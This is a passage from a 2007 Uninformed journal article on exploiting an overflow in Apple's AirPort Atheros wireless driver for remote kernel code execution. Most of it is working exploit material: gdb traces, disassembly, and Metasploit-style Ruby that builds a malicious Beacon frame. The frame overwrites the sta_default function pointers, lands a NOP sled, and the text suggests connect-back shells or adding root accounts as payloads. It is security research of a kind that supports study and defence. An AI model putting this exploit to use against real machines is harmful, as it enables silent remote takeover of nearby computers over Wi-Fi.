Uninformed: Informative Information for the Uninformed

Vol 8» 2007.Sep


Getting Code Execution

The result of this flaw is that many things beyond the Extended Rate buffer in the ieee80211_scan_entry structure are corrupted. In a traditional stack overflow, control of execution flow is obtained directly by overwriting an important value, such as the return address. The corruption caused by the ``Extended Rate'' bug is more complicated due to the apparent lack of adjacent control structures.

The most promising avenue for getting execution can be found in a function named ath_copy_scan_results. This function uses the fields that are overwritten to copy memory. An attacker can control the size of the copy and the source of the copy. In addition to crashing reliably on the same data, the size of the memcpy is two bytes wide meaning that up to 65535 bytes can be copied. Since the destination of the memcpy is a structure that ends with a function pointer, the hope is that enough data can written outside of the destination buffer to the point where the function pointer is overwritten. In this way, the next time the function pointer is called, the caller would instead jump to whatever address is now stored in the function pointer. In other words, this represents a two-stage overwrite. The first overwrite does not provide direct code execution, but it allows an attacker to create a second overwrite that will. The Beacon packet contains a number of buffers one can use for this second-stage overwrite. Thus, an overflow in one buffer in the packet (the Extended Rate IE) allows an attacker to control how a second buffer is copied (in this case, the Robust Security Network (RSN) IE). It is the copying of the second buffer that will permit code execution. Below are the registers and the stack trace of a call to the second memcpy that is being discussed.

(gdb) bt
#0  0x001933de in memcpy_common ()
#1  0x038ce804 in ?? ()
#2  0x008c6083 in sta_iterate ()
#3  0x008e52b7 in AirPort_Athr5424::ieee80211_notify_scan_done ()
#4  0x008e55b9 in AirPort_Athr5424::setSCAN_REQ ()
<edited for length>
(gdb) info registers
eax            0xaca0000        181010432
ecx            0xc98    3224
edx            0x3263   12899
ebx            0x8      8
esp            0xc71b714        0xc71b714
ebp            0xc71b758        0xc71b758
esi            0x41316341       1093755713
edi            0xaca0000        181010432
eip            0x1933de 0x1933de
eflags         0x10203  66051
cs             0x8      8
ss             0x10     16
ds             0x120010 1179664
es             0xc710010        208732176
fs             0x10     16
gs             0x900048 9437256
(gdb)

EDX contains the size of the copy before its loaded into ECX. The bytes in sequence were 0x41 0x63 0x31 0x41 0x32 0x63 meaning that the source address (what is found in ESI) and the copy size are adjacent to one other in the packet. The pattern that overwrote the buffer was also always 0x41 from the start of the ``Extended Rate'' field in the Beacon packet.

Although this seems like an interesting plan, a call to IOMalloc right before the memcpy makes sure the destination buffer has enough space for the copy. Additionally, although a copy of up to 0xffff bytes is possible, it's not actually writing outside of any bounds. The disassembly for the memcpy call in ath_copy_scan_results is shown below:

__text:000260AA                 call    near ptr _IOMalloc
__text:000260AF                 mov     edx, eax
__text:000260B1                 mov     ecx, [ebp+var_1C]
__text:000260B4                 mov     [ecx+88h], eax
__text:000260BA                 test    eax, eax
__text:000260BC                 jz      loc_262C8
__text:000260C2                 movzx   eax, word ptr [esi+84h]
__text:000260C9                 mov     [esp+38h+var_30], eax
__text:000260CD                 mov     eax, [esi+80h]
__text:000260D3                 mov     [esp+38h+var_34], eax
__text:000260D7                 mov     [esp+38h+var_38], edx
__text:000260DA                 call    near ptr _memcpy

The author could go on for hours about what other methods also did not work, but what does work seems more interesting. Luckily, almost immediately after the corruption of memory, the driver calls a function named ieee80211_savie four times. The purpose of these calls is to save other Information Elements (such as RSN, WME, and WPA) from the Beacon frame into the sta_entry structure. The source code from the Madwifi version of ieee80211_saveie:

void ieee80211_saveie(u_int8_t **iep, const u_int8_t *ie)
{
  u_int ielen = ie[1] + 2;
  /*
  * Record information element for later use.
  */
  if (*iep == NULL || (*iep)[1] != ie[1]) {
    if (*iep != NULL)
      FREE(*iep, M_DEVBUF);
    MALLOC(*iep, void*, ielen, M_DEVBUF, M_NOWAIT);
  }
  if (*iep != NULL)
    memcpy(*iep, ie, ielen);
}

A quick synopsis of this function's purpose is that a pointer to a pointer is passed as the address to copy data to. There is some sanity checking to see if the destination address is NULL or if the size of the stored buffer at the destination address is different than the one just passed in. If either of these conditions are true, a new buffer is malloced and the memcpy works just fine.

Since an attacker can control every element in the structure that's passed in as the place to save the buffer to, the check to see if a malloc should be performed can be avoided and the buffer can be copied anywhere into memory the attacker chooses. This is pretty simple. All that needed is the address the data will be copied to, plus 1, equals the length of the IE buffer that is to be saved.

Although there are countless possibilities for what to overwrite, the target buffer needs to meet a few basic requirements. Preferably, an attacker will overwrite a function pointer. Since it seems that the driver loads at the same address every time, overwriting something that that is a fixed offset inside the driver is preferable to minimize the amount of damage done outside the driver because one will want the machine to keep running long enough to execute a payload.

There is a structure called sta_default. This structure keeps function pointers needed to carry out certain elements of driver operations and luckily it appears to be recreated quite often so that any damage done to it could automatically repair itself. Here is the structure from the Madwifi source code:

static const struct ieee80211_scanner sta_default = {
  .scan_name              = "default",
  .scan_attach            = sta_attach,
  .scan_detach            = sta_detach,
  .scan_start             = sta_start,
  .scan_restart           = sta_restart,
  .scan_cancel            = sta_cancel,
  .scan_end               = sta_pick_bss,
  .scan_flush             = sta_flush,
  .scan_add               = sta_add,
  .scan_age               = sta_age,
  .scan_iterate           = sta_iterate,
  .scan_assoc_fail        = sta_assoc_fail,
  .scan_assoc_success     = sta_assoc_success,
  .scan_default           = ieee80211_sta_join,
};

During actual live debugging its contents can be seen as:

(gdb) x/20x sta_default
0x931ee0 <sta_default>: 0x0092e050 0x008f1543 0x008f16c6 0x008f18c7
0x931ef0 <sta_default+16>: 0x008f19b5 0x008f19cc 0x008f2b7d 0x008f1694
0x931f00 <sta_default+32>: 0x008f2e2f 0x008f261e 0x008f20bb 0x008f2188
0x931f10 <sta_default+48>: 0x008f1fd5 0x00000000 0x00000000 0x00000000
0x931f20 <chanflags>: 0x000000a0 0x00000140 0x000000a0 0x000000c0
(gdb)

As an initial test, the author overwrote every function pointer in the structure with a pattern such as 0x61413761 (or aA7a in ASCII, which is the typical Metasploit buffer padding pattern). A crash dump with an error message about failing to execute code at a bad address like 0x61413761 proves that remote code execution is theoretically possible.

To help better understand this, it is helpful to single-step through the sta_add function after sending an Extended Rate IE that is larger than 100 bytes. It is also helpful to then single-step through the function that handles saving the RSN IE buffer from the packet called. Finally, it is useful to single-step through the ieee80211_saveie until the size comparison is hit. The kernel should crash the next time any of the overwritten function pointers are called. The code used to generate the packet during this single step is shown below:

  ssid 	= Rex::Text.rand_text_alphanumeric(rand(255))
  bssid	= "\x61\x61\x61" + Rex::Text.rand_text(3)
  seq	= [rand(255)].pack('n')
  xrate	= make_xrate()
  rsn	= make_rsn()
  frame =
    "\x80" +
    "\x00" +
    "\x00\x00" +
    "\xff\xff\xff\xff\xff\xff" +
    bssid +
    bssid +
    seq +
    Rex::Text.rand_text(8) +
    "\xff\xff" +
    Rex::Text.rand_text(2) +
    #ssid tag
    "\x00" + ssid.length.chr + ssid +
    #supported rates
    "\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" +
    #current channel
    "\x03" + "\x01" + channel.chr +
    #Xrate
    xrate +
    #RSN
    rsn

def make_xrate
  #calculate the offset that RSN needs to overwrite
  staRsnOff	= 0x4aee0
  kextAddr	= datastore['KEXT_OFF'].to_i
  staStruct	= kextAddr + staRsnOff

  #build the xrate_frame
  xrate_build = Rex::Text.pattern_create(240) #base of IE

  #crashes often occur in the following locations so they are blanked
  xrate_build[67, 2]="\x00\x00"
  xrate_build[71, 4]="\x00\x00\x00\x00"
  xrate_build[79, 4]="\x00\x00\x00\x00"

  #Overwrite address for RSN element
  xrate_build[55, 4]=[staStruct].pack('V')
  xrate_frame =
    "\x32" +
    xrate_build.length.chr +
    xrate_build
  return xrate_frame
end

def make_rsn
  rsn_data = Rex::Text.pattern_Create(223)
  rsn_frame =
    "\x30" +
    rsn_data.length.chr +
    rsn_data
  return rsn_frame
end

And the associated single-step through the functions:

Breakpoint 4, 0x008f3188 in sta_add ()
2: x/i $eip  0x8f3188 <sta_add+857>:    mov    DWORD PTR [esp+8],eax
(gdb) advance *0x8f32fe
0x008f32fe in sta_add ()
2: x/i $eip  0x8f32fe <sta_add+1231>:   call   0x8f521b <ieee80211_saveie>
(gdb) stepi
0x008f521b in ieee80211_saveie ()
2: x/i $eip  0x8f521b <ieee80211_saveie>:       push   ebp
(gdb)
0x008f521c in ieee80211_saveie ()
2: x/i $eip  0x8f521c <ieee80211_saveie+1>:     mov    ebp,esp
(gdb)
0x008f521e in ieee80211_saveie ()
2: x/i $eip  0x8f521e <ieee80211_saveie+3>:     push   edi
(gdb)
0x008f521f in ieee80211_saveie ()
2: x/i $eip  0x8f521f <ieee80211_saveie+4>:     push   esi
(gdb)
0x008f5220 in ieee80211_saveie ()
2: x/i $eip  0x8f5220 <ieee80211_saveie+5>:     push   ebx
(gdb)
0x008f5221 in ieee80211_saveie ()
2: x/i $eip  0x8f5221 <ieee80211_saveie+6>:     sub    esp,0x2c
(gdb)
0x008f5224 in ieee80211_saveie ()
2: x/i $eip  0x8f5224 <ieee80211_saveie+9>:     mov    edi,DWORD PTR [ebp+8]
(gdb)
0x008f5227 in ieee80211_saveie ()
2: x/i $eip  0x8f5227 <ieee80211_saveie+12>:    mov    eax,DWORD PTR [ebp+12]
(gdb)
0x008f522a in ieee80211_saveie ()
2: x/i $eip  0x8f522a <ieee80211_saveie+15>:    movzx  edx,BYTE PTR [eax+1]
(gdb)
0x008f522e in ieee80211_saveie ()
2: x/i $eip  0x8f522e <ieee80211_saveie+19>:    movzx  ebx,dl
(gdb) info registers
eax            0x1e3ae130       507175216
ecx            0xc8cbc8c        210549900
edx            0xe0     224
ebx            0x388f004        59305988
esp            0xc8cba9c        0xc8cba9c
ebp            0xc8cbad4        0xc8cbad4
esi            0x388f004        59305988
edi            0x388f07c        59306108
eip            0x8f522e 0x8f522e <ieee80211_saveie+19>
eflags         0x216    534
cs             0x8      8
ss             0x10     16
ds             0x10     16
es             0x190010 1638416
fs             0xc8c0010        210501648
gs             0x48     72
(gdb) stepi
0x008f5231 in ieee80211_saveie ()
2: x/i $eip  0x8f5231 <ieee80211_saveie+22>:    lea    eax,[ebx+2]
(gdb)
0x008f5234 in ieee80211_saveie ()
2: x/i $eip  0x8f5234 <ieee80211_saveie+25>:    mov    DWORD PTR [ebp-28],eax
(gdb)
0x008f5237 in ieee80211_saveie ()
2: x/i $eip  0x8f5237 <ieee80211_saveie+28>:    mov    eax,DWORD PTR [edi]
(gdb)
0x008f5239 in ieee80211_saveie ()
2: x/i $eip  0x8f5239 <ieee80211_saveie+30>:    test   eax,eax
(gdb)
0x008f523b in ieee80211_saveie ()
2: x/i $eip  0x8f523b <ieee80211_saveie+32>:    je     0x8f5254 <ieee80211_saveie+57>
(gdb)
0x008f523d in ieee80211_saveie ()
2: x/i $eip  0x8f523d <ieee80211_saveie+34>:    cmp    dl,BYTE PTR [eax+1]
(gdb) info registers
eax            0x931ee0 9641696
ecx            0xc8cbc8c        210549900
edx            0xe0     224
ebx            0xe0     224
esp            0xc8cba9c        0xc8cba9c
ebp            0xc8cbad4        0xc8cbad4
esi            0x388f004        59305988
edi            0x388f07c        59306108
eip            0x8f523d 0x8f523d <ieee80211_saveie+34>
eflags         0x202    514
cs             0x8      8
ss             0x10     16
ds             0x10     16
es             0x190010 1638416
fs             0xc8c0010        210501648
gs             0x48     72
(gdb) x/20x $eax
0x931ee0 <sta_default>: 0x0092e050      0x008f1543      0x008f16c6      0x008f18c7
0x931ef0 <sta_default+16>:      0x008f19b5      0x008f19cc      0x008f2b7d      0x008f1694
0x931f00 <sta_default+32>:      0x008f2e2f      0x008f261e      0x008f20bb      0x008f2188
0x931f10 <sta_default+48>:      0x008f1fd5      0x00000000      0x00000000   0x00000000
0x931f20 <chanflags>:   0x000000a0      0x00000140      0x000000a0      0x000000c0
(gdb) c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0x61413761 in ?? ()
1: x/i $eip  0x61413761:        Disabling display 1 to avoid infinite recursion.
Cannot access memory at address 0x61413761
(gdb) bt
#0  0x61413761 in ?? ()
#1  0x008e977c in scan_next ()
Previous frame inner to this frame (corrupt stack?)
(gdb)

As can be seen above, the kernel attempted to execute an instruction at the invalid address 0x61413761. This address was provided in the generated packet. While this does not show actual cod execution, it does prove that code execution is possible. An attacker can overwrite every member of that structure with the address to arbitrary memory that is controllable. Since one has to match the size of the base of sta_default+1, the buffer needs to be 0xe0 in length. This means that since sta_default is 64 bytes, one writes more than is needed. Immediately after sta_default in memory is a structure called chanflags which is also at a predictable address. To execute code of an attacker's choosing, the remainder of the RSN IE buffer can be packed with nops that will end with 0xcc 0xcc 0xcc 0xcc which will cause a trap to the debugger making it possible to exam the state and verify code actually executed. (0xcc is the machine code for the int 3 assembly instruction, which causes a processor interrupt that a debugger can safely catch). This is an important step as OS X claims to have NX protection that would prohibit certain memory regions from executing code. Executing a NOP sled then 0xcc will prove that protection technologies like NX do not affect execution in this situation. The following Ruby code shows how the packet described above can be generated:

  ssid 	= Rex::Text.rand_text_alphanumeric(rand(255))
  bssid	= "\x61\x61\x61" + Rex::Text.rand_text(3)
  seq	= [rand(255)].pack('n')
  xrate	= make_xrate()
  rsn	= make_rsn()
  frame =
    "\x80" +
    "\x00" +
    "\x00\x00" +
    "\xff\xff\xff\xff\xff\xff" +
    bssid +
    bssid +
    seq +
    Rex::Text.rand_text(8) +
    "\xff\xff" +
    Rex::Text.rand_text(2) +
    #ssid tag
    "\x00" + ssid.length.chr + ssid +
    #supported rates
    "\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" +
    #current channel
    "\x03" + "\x01" + channel.chr +
    #Xrate
    xrate +
    #RSN
    rsn

def make_xrate
  #calculate the offset that RSN needs to overwrite
  staRsnOff	= 0x4aee0
  kextAddr	= datastore['KEXT_OFF'].to_i
  staStruct	= kextAddr + staRsnOff

  #build the xrate_frame
  xrate_build = Rex::Text.pattern_create(240) #base of IE

  #crashes often occur in the following locations so they are blanked
  xrate_build[67, 2]="\x00\x00"
  xrate_build[71, 4]="\x00\x00\x00\x00"
  xrate_build[79, 4]="\x00\x00\x00\x00"

  #Overwrite address for RSN element
  xrate_build[55, 4]=[staStruct].pack('V')
  xrate_frame =
    "\x32" +
    xrate_build.length.chr +
    xrate_build
  return xrate_frame
end

def make_rsn
  #calculate the address to overwrite the sta_default
  rsnTargetOff 	= 0x4af20
  kextAddr	= datastore['KEXT_OFF'].to_i
  rsnOvrAddr	= kextAddr + rsnTargetOff

  #need two bytes for alingment
  rsn_pad = "\x00\x00"

  #copy the address of the payload over ever element in sta_default
  rsnAddrTmp=[rsnOvrAddr].pack('V')
  rsn_overwrite_addr = (rsnAddrTmp * 15)
  rsn_code_size = 162
  rsn_code = ("\x90" * rsn_code_size)
  rsn_code[10, 4]="\xcc\xcc\xcc\xcc"
		
  rsn_build = rsn_pad + rsn_overwrite_addr + rsn_code
  rsn_frame =
    "\x30" +
    rsn_build.length.chr +
    rsn_build
  return rsn_frame
end

After firing off this packet, the debugger breaks on a breakpoint trap:

(gdb) c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0x00931f2b in chanflags ()
2: x/i $eip  0x931f2b <chanflags+11>:   int3
(gdb) info registers
eax            0x931ee0 9641696
ecx            0x431bde83       1125899907
edx            0x0      0
ebx            0x31cf9  204025
esp            0xc863ed8        0xc863ed8
ebp            0xc863f64        0xc863f64
esi            0x380346c        58733676
edi            0x3801004        58724356
eip            0x931f2b 0x931f2b <chanflags+11>
eflags         0x246    582
cs             0x8      8
ss             0x10     16
ds             0x10     16
es             0xa4810010       -1535049712
fs             0x10     16
gs             0x12260048       304480328
(gdb) x/i $eip
0x931f2b <chanflags+11>:        int3
(gdb) x/i $eip-1
0x931f2a <chanflags+10>:        int3
(gdb) x/i $eip-2
0x931f29 <chanflags+9>: nop
(gdb)

The previous instruction was an int 3 and before that was a NOP. This proves that the code execution test was successful. As it stands one needs 64 bytes to overwrite sta_default and the RSN buffer has to be 48 bytes long which leaves 160 bytes for first stage shellcode. This is more than enough to locate and execute a second stage.

In other words, the Apple driver will copy five IEs from the original packet. One can cause an overflow in one of these elements, the Extended Rate IE, to overwrite structures that determine how the remaining four elements are copied. The copy of the RSN IE is chosen to make it possible to overwrite function pointers and store a first stage shellcode. The remaining three IEs, roughly 765 bytes in total, can be used to contain the real shellcode that does something useful, such as a connect-back shell, add a root user account, or play fun sounds on the speaker.